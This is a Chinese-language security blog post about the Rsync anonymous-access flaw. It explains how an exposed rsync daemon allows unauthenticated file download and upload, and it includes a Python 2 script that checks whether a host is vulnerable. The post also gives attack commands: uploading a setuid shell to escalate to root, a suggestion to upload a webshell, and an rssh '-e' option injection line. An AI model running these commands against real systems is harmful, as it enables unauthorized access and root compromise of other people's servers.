• Rsync匿名访问漏洞


    前言



    前两天总结了互联网或者说IT公司内网常见的漏洞,然后决定针对还没学习过不了解的漏洞进行学习了解,所以准备一一针对来研习,今天是第一篇,立一个Flag,争取今年搞定,为啥说的这么艰难,因为平时工作忙,不一定每周都有时间研究,说一下,常见的WEB类漏洞,弱口令漏洞就不在赘述了,不算在此次学习之列

    Rsync简介



    什么是Rsync


    Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。

    什么是Rsync的匿名访问


    匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令、公私钥、生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问


    一般危害


    下载:#rsync -avz a.b.c.d::path/file path/filiname  
    上传:#rsync -avz path/filename a.b.c.d::path/file
    

    提权操作


    #chmod a+s shell
    #rsync -avz shell a.b.c.d::path/file
    *查看shell权限不变,运行后提权到root,也可以尝试上传webshell*
    

    rssh


    此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。

    #rsync -e./script.sh  a.b.c.d::/tmp--server ./
    

    漏洞验证


    • Metaspolit的auxiliary/scanner/rsync/modules_list
    • python脚本
    # -*- coding:utf-8 -*-
    """
        Rsync匿名访问漏洞(未授权访问漏洞)验证工具
    """
    
    #引入依赖的包和库文件
    import os
    import sys
    import socket
    import logging
    
    #全局配置设置
    logging.basicConfig(level=logging.INFO,format="%(message)s")
    socket.setdefaulttimeout(3)
    
    
    #全局变量
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    
    #全局函数:
    def str2Binary(content):
        """将文本流转换成二进制流"""
        return content.replace(' ','').replace('
    ','').decode('hex')
    
    def rsyncCheck(ip,port):
        """执行端口预检查"""
        global client
        try:
            client.connect((ip,port))
        except Exception,reason:
            logging.error("[-] 访问失败:%s"%reason)
            return False
        helloString = "405253594e43443a2033312e300a"
        try:
            client.send(str2Binary(helloString))
            hellodata = client.recv(1024)
        except Exception,reason:
            logging.error("[-] 通信失败:%s"%reason)
            return False
        if hellodata.find("@RSYNCD") >= 0:
            try:
                client.send(str2Binary("0a"))
            except Exception,reason:
                logging.error("[-] 访问失败:%s"%reason)
                return False
            while True:
                try:
                    data = client.recv(1024)
                except Exception,reason:
                    logging.error("[-] 通信失败:%s"%reason)
                if data == "":
                    break
                else:
                    if str(data).find("@RSYNCD: EXIT") >= 0:
                        logging.info("[*] 发现漏洞!")
                        return True
        return False
    
    
    if __name__ == "__main__":
        ip = sys.argv[1]
        try:
            port = sys.argv[2]
        except Exception,reason:
            port = 873
            logging.error("[-] 端口未输入,按照873默认端口进行")
        try:
            port = int(port)
        except Exception,reason:
            logging.error("[-] 端口输入错误,按照873默认端口进行")
            port = 873
        if not rsyncCheck(ip,port):
            logging.info("[+] 测试安全!")
    
    
  • 相关阅读:
    IntelliJ Idea 常用快捷键列表
    IPv6地址存储
    一文看懂java的IO流
    AchartEngine的柱状图属性设置
    绘制图表改变其大小
    在Android上用AChartEngine轻松绘制图表
    Android 图表绘制 achartengine 示例解析
    封装一个类搞定90%安卓客户端与服务器端交互
    安卓图表引擎AChartEngine(三)
    AchartEngine 的学习
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8944175.html
Copyright © 2020-2023  润新知